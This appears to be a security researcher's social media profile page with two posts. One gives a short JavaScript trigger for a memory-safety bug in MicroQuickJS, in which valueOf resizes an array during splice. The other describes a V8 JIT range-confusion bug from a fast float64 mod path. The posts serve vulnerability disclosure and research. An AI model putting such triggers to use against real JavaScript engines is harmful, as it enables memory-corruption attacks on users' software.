itszn
1,341
posts
Pinned
When MicroQuickJS released, I spent 8.5 hours to summon an Exploit for it. Here is the Fault: var arr = new Array(30) var attack = { valueOf: function() { arr.length = 0 arr.length = 3 return 10 } } arr.splice(attack, 30) I document the full Ritual Process below
This was a fun v8 bug we caught before it got released to stable A new opt replaced ARM64 f64mod instruction L%R with a fast impl: L-trunc(L/R)*R However this has a bad edge case with f64 precision JIT range analysis uses correct mod -> range confusion -> range elimination

00:00
[488078904] Incorrect Float64Mod Fast-Path Producing Range Confusion in Optimizing Compilers crbug.com/488078904


